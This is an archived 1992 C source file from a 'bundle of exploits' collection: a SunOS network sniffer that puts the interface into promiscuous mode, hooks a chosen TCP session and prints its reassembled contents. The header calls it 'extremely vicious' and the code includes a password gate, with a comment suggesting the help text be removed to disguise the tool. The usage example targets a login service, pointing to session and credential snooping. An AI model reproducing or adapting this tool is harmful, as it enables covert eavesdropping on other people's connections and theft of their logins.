home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / tcpview.c < prev    next >
Text File  |  1998-07-17  |  13KB  |  502 lines

  1. /**
  2.  ** version     : v1.01
  3.  ** architecture: SunOS 4.1 [Sun3/Sun4]
  4.  ** compilation : cc -O4 tcpw.c -o tcpw; strip tcpw
  5.  ** source rights: this is an EXTREMELLY VICIOUS program, it is ADVISED
  6.  **     that if you must keep this source online, KEEP IT IN ENCRYPTED
  7.  **     FORM.
  8.  **/
  9.  
  10. #include <stdio.h>
  11. #include <ctype.h>
  12. #include <string.h>
  13. #include <sys/time.h>
  14. #include <sys/file.h>
  15. #include <sys/stropts.h>
  16. #include <sys/signal.h>
  17. #include <netdb.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <sys/ioctl.h>
  21. #include <net/if.h>
  22. #include <net/nit_if.h>
  23. #include <net/nit_buf.h>
  24. #include <net/if_arp.h>
  25. #include <netinet/in.h>
  26. #include <netinet/if_ether.h>
  27. #include <netinet/in_systm.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/udp.h>
  30. #include <netinet/ip_var.h>
  31. #include <netinet/udp_var.h>
  32. #include <netinet/in_systm.h>
  33. #include <netinet/tcp.h>
  34. #include <netinet/ip_icmp.h>
  35.  
  36. char *malloc();
  37. char *device;
  38. int debug = 0,            /* debug */
  39.   fastdump = 0,            /* do no sequential packet processing */
  40.   oneway = 0;            /* oneway watch */
  41.  
  42. char *ProgName;
  43.  
  44. #define  NIT_DEV  "/dev/nit"
  45. #define  CHUNKSIZE  4096    /* device buffer size */
  46.  
  47. int if_fd = -1;
  48. int Packet[CHUNKSIZE + 32];
  49.  
  50. #define  STREAM_NULL  (0)
  51. #define  STREAM_STOD  (1)
  52. #define  STREAM_DTOS  (2)
  53. #define  STREAM_MAX  (3)
  54.  
  55. struct PktStack {
  56.   u_char data[CHUNKSIZE];
  57.   int Len;
  58.   u_long Seq;
  59. };
  60.  
  61. #define  STACK_MAX  (10)
  62.  
  63. struct PktStack pkt_stack[STREAM_MAX][STACK_MAX];
  64. int pkt_snum[STREAM_MAX];
  65. u_long seq_num[STREAM_MAX];
  66. char *Hostname[STREAM_MAX];
  67. struct in_addr IPaddr[STREAM_MAX];
  68. int TCPport[STREAM_MAX];
  69.  
  70. #define  ISeq(s,d)  ((s) == (d))
  71. #define  ISneq(s,d)  ((s) != (d))
  72.  
  73. void
  74. Pexit(err, msg)
  75.   int err;
  76.   char *msg;
  77. {
  78.   perror(msg);
  79.   exit(err);
  80. }
  81.  
  82. void
  83. Zexit(err, msg)
  84.   int err;
  85.   char *msg;
  86. {
  87.   fprintf(stderr, msg);
  88.   exit(err);
  89. }
  90.  
  91. #define  FREEstk(SK,St,Rc) { \
  92.   SK.Len = (-1); \
  93.   if(!(--pkt_snum[St])) \
  94.     return(Rc); \
  95.   }
  96. #define  ALLOCstk(SK,Len,Data,S,St) { \
  97.   bcopy(Data,SK.data,Len); \
  98.   SK.Len = Len; \
  99.   SK.Seq = S; \
  100.   pkt_snum[St]++; \
  101.   }
  102. #define  pr_packet(p,length) { \
  103.   while(length-- >0) \
  104.   fputc(*p++,stdout); \
  105.   fflush(stdout); \
  106.   }
  107. #define  MAL_pr_packet(i_p,i_length) { \
  108.   register u_char *p = i_p; \
  109.   register int length = i_length; \
  110.   pr_packet(p,length); \
  111.   }
  112. #define  DEBUGstk(Msg,Num,Seq) if(debug) { \
  113.   printf(Msg,Num,Seq); fflush(stdout); \
  114.   }
  115. #define  SPKT  pkt_stack[Tp][i]
  116.  
  117. /* find and print any packets in the stack IF they are sequential
  118.  * after ours
  119.  */
  120. int
  121. cpr_stack(Tp)
  122.   register int Tp;
  123. {
  124.   register int i, pr = 1;
  125.  
  126.   while (pr)
  127.     for (pr = i = 0; (i < STACK_MAX) && (!pr); i++) {
  128.       if (ISneq(SPKT.Len, (-1))) {
  129.     if (SPKT.Seq <= seq_num[Tp]) {    /* check for old packets */
  130.       DEBUGstk("DISCARD(%d/%08X)\n",
  131.            pkt_snum[Tp], SPKT.Seq);
  132.       FREEstk(SPKT, Tp, 0);
  133.     } else if (ISeq(SPKT.Seq, (seq_num[Tp] + 1))) {    /* check for ours! */
  134.       DEBUGstk("POP(%d/%08X\n", pkt_snum[Tp], SPKT.Seq);
  135.       seq_num[Tp] = SPKT.Seq;
  136.       MAL_pr_packet(SPKT.data, SPKT.Len);
  137.       FREEstk(SPKT, Tp, 0);
  138.       pr = 1;
  139.     }
  140.       }
  141.     }
  142. }
  143.  
  144. /* push packet onto stack, also checking for overflow, if so, dump
  145.  * the stack [missing packet assumed unrecoverable] */
  146. int
  147. psh_stack(S, Tp, p, Len)
  148.   register u_long S;
  149.   register int Tp, Len;
  150.   register u_char *p;
  151. {
  152.   register
  153.   int i = 0;
  154.   register struct PktStack *PK = NULL;
  155.  
  156.   for (; (i < STACK_MAX); i++) {
  157.     if (ISneq(SPKT.Len, (-1))) {
  158.       if (ISeq(SPKT.Seq, S))
  159.     return (0);        /* that Seqnum is already on the stack */
  160.     } else if (ISeq(PK, NULL)) {
  161.       PK = &SPKT;
  162.     }
  163.   }
  164.   /* its not on the stack and we got a position for it */
  165.   if (ISneq(PK, NULL)) {
  166.     DEBUGstk("PUSH(%d/%08X)\n", pkt_snum[Tp], S);
  167.     bcopy(p, PK->data, Len);
  168.     PK->Len = Len;
  169.     PK->Seq = S;
  170.     pkt_snum[Tp]++;
  171.     return (0);
  172.   } {
  173.     /* if we reach here, stack is full, assume missing packet is
  174.  * gone forever, so just dump now ..   */
  175.     register int j;
  176.     register u_long CS;
  177.  
  178.     while (1) {
  179.       j = (STACK_MAX + 2);
  180.       CS = ~(0);        /* determine lowest seq number */
  181.       for (i = 0; (i < STACK_MAX); i++) {
  182.     if (ISneq(SPKT.Len, (-1)) && (SPKT.Seq <= CS)) {
  183.       CS = SPKT.Seq;
  184.       j = i;
  185.     }
  186.       }                /* must be nothing in stack */
  187.       if (j > STACK_MAX)
  188.     return (1);        /* print */
  189.       seq_num[Tp] = SPKT.Seq;
  190.       DEBUGstk("FLUSH(%d/%08X)\n", pkt_snum[Tp], SPKT.Seq);
  191.       MAL_pr_packet(SPKT.data, SPKT.Len);
  192.       FREEstk(SPKT, Tp, 1);
  193.     }
  194.   }
  195. }
  196.  
  197. #define  IP  ((struct ip *)Packet)
  198. #define  IP_OFFSET  (0x1FFF)
  199. #define  SZETH  (sizeof(struct ether_header))
  200. #define  IPLEN  (ntohs(ip->ip_len))
  201. #define  IPHLEN  (ip->ip_hl)
  202. #define  ADneq(s,t)  ((s).s_addr != (t).s_addr)
  203.  
  204. /* important part of the prog, determines if a packet is one
  205.  * we want, and performs sycnhing of sequence numbers */
  206. void
  207. filter(cp, pktlen)
  208.   char *cp;
  209.   u_int pktlen;
  210. {
  211.   register int Stream = STREAM_NULL;
  212.   register struct ip *ip;
  213.   register struct tcphdr *tcph;
  214.   register u_long CurSEQ;
  215.   register u_char *p;
  216.  
  217.   {
  218.     register u_short EtherType = ntohs(((struct ether_header *) cp)->ether_type);
  219.  
  220.     if (EtherType < 0x600) {
  221.       EtherType = *(u_short *) (cp + SZETH + 6);
  222.       cp += 8;
  223.       pktlen -= 8;
  224.     }
  225.     if (ISneq(EtherType, ETHERTYPE_IP))
  226.       return;
  227.   }
  228.   /* ugh, gotta do an alignment :-( */
  229.   bcopy(cp + SZETH, (char *) Packet, (int) (pktlen - SZETH));
  230.   ip = (struct ip *) Packet;
  231.   if (ISneq(ip->ip_p, IPPROTO_TCP))
  232.     return;
  233.   tcph = (struct tcphdr *) (Packet + IPHLEN);
  234.   CurSEQ = (ntohl(tcph->th_seq));
  235.   if (debug) {
  236.     printf("SRC:%s(%d) ", inet_ntoa(ip->ip_src), tcph->th_sport);
  237.     printf("DST:%s(%d)\n", inet_ntoa(ip->ip_dst), tcph->th_dport);
  238.   }
  239.   if (ISeq(tcph->th_sport, TCPport[STREAM_STOD]) &&
  240.       ISeq(tcph->th_dport, TCPport[STREAM_DTOS])) {
  241.     if (ADneq(ip->ip_src, IPaddr[STREAM_STOD]) ||
  242.     ADneq(ip->ip_dst, IPaddr[STREAM_DTOS]))
  243.       return;
  244.     if (!seq_num[Stream = STREAM_STOD]) {
  245.       seq_num[STREAM_STOD] = CurSEQ - 1;
  246.       printf("Hooked S->D [Seq %08X] ...\n", CurSEQ);
  247.     } else if (CurSEQ <= seq_num[STREAM_STOD])
  248.       return;
  249.   } else if ((!oneway) &&
  250.          ISeq(tcph->th_sport, TCPport[STREAM_DTOS]) &&
  251.          ISeq(tcph->th_dport, TCPport[STREAM_STOD])) {
  252.     if (ADneq(ip->ip_src, IPaddr[STREAM_DTOS]) ||
  253.     ADneq(ip->ip_dst, IPaddr[STREAM_STOD]))
  254.       return;
  255.     if (!seq_num[Stream = STREAM_DTOS]) {
  256.       seq_num[STREAM_DTOS] = CurSEQ - 1;
  257.       printf("Hooked D->S [Seq %08X] ...\n", CurSEQ);
  258.     } else if (CurSEQ <= seq_num[STREAM_DTOS])
  259.       return;
  260.   } else
  261.     return;
  262.   {
  263.     register int length = ((IPLEN - (IPHLEN * 4)) - (tcph->th_off * 4));
  264.  
  265.     if (debug)
  266.       printf("[%s]Seq=%08X,pl=%04X,dl=%04X,l=%04X,iph=%04X,ipl=%04X,tf=%04X\n",
  267.          (Stream == STREAM_STOD) ? " S / D " : " D / S ", CurSEQ, pktlen,
  268.        (IPLEN - (IPHLEN * 4)), length, ip->ip_hl, ip->ip_len, tcph->th_off);
  269.     p = (u_char *) Packet;
  270.     p += ((ip->ip_hl * 4) + (tcph->th_off * 4));
  271.     if (fastdump) {
  272.       pr_packet(p, length);
  273.     } else {
  274.     re_loop:if (ISeq(CurSEQ, (seq_num[Stream] + 1))) {
  275.     seq_num[Stream] = CurSEQ;
  276.     pr_packet(p, length);
  277.     if (pkt_snum[Stream])    /* check for 'stacked' packets */
  278.       cpr_stack(Stream);
  279.       } else {
  280.     /* out of sequence packet */
  281.     if (psh_stack(CurSEQ, Stream, p, length))
  282.       goto re_loop;
  283.       }
  284.     }
  285.   }
  286. }
  287.  
  288. /* signal handler */
  289. void
  290. flushit()
  291. {
  292.   printf("\n\n[terminating]\n");
  293.   fflush(stdout);
  294.   exit(1);
  295. }
  296.  
  297. /* opens network interface, performs ioctls and reads from it,
  298.  * passing data to filter function */
  299. void
  300. do_it()
  301. {
  302.   int cc;
  303.   char *buf;
  304.  
  305.   u_short sp_ts_len;
  306.  
  307.   if (!(buf = malloc(CHUNKSIZE)))
  308.     Pexit(1, "Eth: malloc");
  309.   /* this /dev/nit initialization code pinched from etherfind */  {
  310.     struct strioctl si;
  311.     struct ifreq ifr;
  312.     struct timeval timeout;
  313.     u_int chunksize = CHUNKSIZE;
  314.     u_long if_flags = NI_PROMISC;
  315.  
  316.     if ((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  317.       Pexit(1, "Eth: nit open");
  318.     if (ioctl(if_fd, I_SRDOPT, (char *) RMSGD) < 0)
  319.       Pexit(1, "Eth: ioctl (I_SRDOPT)");
  320.     si.ic_timout = INFTIM;
  321.     if (ioctl(if_fd, I_PUSH, "nbuf") < 0)
  322.       Pexit(1, "Eth: ioctl (I_PUSH \"nbuf\")");
  323.     timeout.tv_sec = 1;
  324.     timeout.tv_usec = 0;
  325.     si.ic_cmd = NIOCSTIME;
  326.     si.ic_len = sizeof (timeout);
  327.     si.ic_dp = (char *) &timeout;
  328.     if (ioctl(if_fd, I_STR, (char *) &si) < 0)
  329.       Pexit(1, "Eth: ioctl (I_STR: NIOCSTIME)");
  330.     si.ic_cmd = NIOCSCHUNK;
  331.     si.ic_len = sizeof (chunksize);
  332.     si.ic_dp = (char *) &chunksize;
  333.     if (ioctl(if_fd, I_STR, (char *) &si) < 0)
  334.       Pexit(1, "Eth: ioctl(I_STR:NIOCSCHUNK) ");
  335.     strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name));
  336.     ifr.ifr_name[sizeof (ifr.ifr_name) - 1] = '\0';
  337.     si.ic_cmd = NIOCBIND;
  338.     si.ic_len = sizeof (ifr);
  339.     si.ic_dp = (char *) 𝔦
  340.     if (ioctl(if_fd, I_STR, (char *) &si) < 0)
  341.       Pexit(1, "Eth: ioctl (I_STR: NIOCBIND)");
  342.     si.ic_cmd = NIOCSFLAGS;
  343.     si.ic_len = sizeof (if_flags);
  344.     si.ic_dp = (char *) &if_flags;
  345.     if (ioctl(if_fd, I_STR, (char *) &si) < 0)
  346.       Pexit(1, "Eth: ioctl (I_STR:    NIOCSFLAGS) ");
  347.     if (ioctl(if_fd, I_FLUSH, (char *) FLUSHR) < 0)
  348.       Pexit(1, "Eth: ioctl (I_FLUSH)");
  349.   }
  350.   while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  351.     register char *bp = buf, *bufstop = (buf + cc);
  352.  
  353.     while (bp < bufstop) {
  354.       register char *cp = bp;
  355.  
  356.       register struct nit_bufhdr *hdrp;
  357.  
  358.       hdrp = (struct nit_bufhdr *) cp;
  359.       cp += sizeof (struct nit_bufhdr);
  360.  
  361.       bp += hdrp->nhb_totlen;
  362.       filter(cp, (u_long) hdrp->nhb_msglen);
  363.     }
  364.   } Pexit((-1), "Eth: read");
  365. }
  366.  
  367. /* Parses Hostname/port information */
  368. int
  369. FixHost(h, Tp)
  370.   char *h;
  371.   int Tp;
  372. {
  373.   int ok = 1, i = 0;
  374.   char *ptr;
  375.  
  376.   if (!(ptr = strtok(h, "/")))
  377.     return (0);
  378.   /* get hostname, convert from symbolic if needed */
  379.   if ((IPaddr[Tp].s_addr = inet_addr(ptr)) == (unsigned) -1) {
  380.     struct hostent *he = gethostbyname(ptr);
  381.  
  382.     if (he) {
  383.       Hostname[Tp] = strdup(he->h_name);
  384.       bcopy(he->h_addr, (char *) &IPaddr[Tp].
  385.         s_addr, 4);
  386.     } else
  387.       return (0);
  388.   } else
  389.     Hostname[Tp] = strdup(inet_ntoa(IPaddr[Tp]));
  390.   if (!(ptr = strtok(NULL, "")))
  391.     return (0);
  392.   /* get portname, conver from symbolic if needed */
  393.   if ((TCPport[Tp] = atoi(ptr)) == 0) {
  394.     struct servent *sv = getservbyname(ptr, "tcp");
  395.  
  396.     if (sv)
  397.       TCPport[Tp] = sv->s_port;
  398.     else
  399.       return (0);
  400.   }
  401.   return (1);
  402. }
  403.  
  404. #define AUTHPASSWD "EloiZgZejWyms"
  405. /* Important! ensures other people cant (easily) run this program,
  406.  * you may consider removing the HELP text to disguise it.
  407.  */
  408. void
  409. Get_Authorization()
  410. {
  411.   char *buf, *getpass(), *crypt();
  412.   char pwd[21];
  413.  
  414.   strcpy(pwd, AUTHPASSWD);
  415.   buf = getpass("up? ");
  416.   if (strcmp(pwd, crypt(buf, pwd)))
  417.     exit(1);
  418. }
  419.  
  420. void
  421. Usage()
  422. {
  423.   fprintf(stderr, "Usage: %s [-i device] [-d] [-o] [-f] SRC.Host/Port DST.Host/Port\n",
  424.       ProgName);
  425.   fprintf(stderr, "  -o         Oneway [Watch src->dst packets only]\n");
  426.   fprintf(stderr, "  -d         Debug\n");
  427.   fprintf(stderr, "  -f         Fastdump - ignore sequence numbers\n");
  428.   fprintf(stderr, "  -i    device specify logical ethernet interface\n");
  429.   fprintf(stderr, " Host/Port  Hostname with respective port, maybe in\n");
  430.   fprintf(stderr, " numeric or symbolic format.\n\n");
  431.   fprintf(stderr, "  Example:   %s -i le0 -o hack.com/login 128.2.2.2/5645\n", ProgName);
  432.   fprintf(stderr, "             (C)1992 >R  -> AUTHORIZED USE ONLY\n");
  433.   exit(1);
  434. }
  435.  
  436. /* Where it all begins ... */
  437. void
  438. main(argc, argv)
  439.   int argc;
  440.   char **argv;
  441. {
  442.   char cbuf[BUFSIZ];
  443.   struct ifconf ifc;
  444.   int s, ac = 1;
  445.  
  446.   ProgName = argv[0];
  447.   if (argc < 3)
  448.     Usage();
  449.   /* Get_Authorization();        /* parse args */
  450.   device = NULL;
  451.   while (argv[ac][0] == '-') {
  452.     register char ch = argv[ac++][1];
  453.  
  454.     switch (toupper(ch)) {
  455.     case 'I':
  456.       device = argv[ac++];
  457.       break;
  458.     case 'D':
  459.       debug = 1;
  460.       break;
  461.     case 'O':
  462.       oneway = 1;
  463.       break;
  464.     case 'F':
  465.       fastdump = 1;
  466.       break;
  467.     default:
  468.       Usage();
  469.       break;
  470.     }
  471.   }                /* resolve host/ports */
  472.   if (!FixHost(argv[ac++], STREAM_STOD))
  473.     Zexit(1, "Cannot resolve source host/port");
  474.   if (!FixHost(argv[ac++], STREAM_DTOS))
  475.     Zexit(1, "Cannot resolve destination host/port"); {
  476.     register int i, j;
  477.  
  478.     for (i = 0; i < STREAM_MAX; i++) {
  479.       pkt_snum[i] = 0;
  480.       seq_num[i] = 0;
  481.       for (j = 0; j < STACK_MAX; j++)
  482.     pkt_stack[i][j].Len = -1;
  483.     }
  484.     }                /* if not a specified device, determine it */
  485.     if (!device) {
  486.       if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  487.     Pexit(1, "Eth: socket");
  488.       ifc.ifc_len = sizeof (cbuf);
  489.       ifc.ifc_buf = cbuf;
  490.       if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0)
  491.     Pexit(1, "Eth: ioctl");
  492.       close(s);
  493.       device = ifc.ifc_req->ifr_name;
  494.     }
  495.   printf("IP/TCP monitor: %s(%d) <=> %s(%d)\n", Hostname[STREAM_STOD], TCPport[STREAM_STOD], Hostname[STREAM_DTOS], TCPport[STREAM_DTOS]);
  496.   printf("Configured device %s [%s], %s%s%ssynching stream ...\n", device, NIT_DEV, (debug) ? "(debug) " : "", (oneway) ? "(1way) " : "", (fastdump) ? "(fdmp) " : "");
  497.   fflush(stdout);
  498.   signal(SIGINT, flushit);
  499.   signal(SIGTERM, flushit);
  500.   do_it();            /* NOT_REACHED */
  501. }
  502.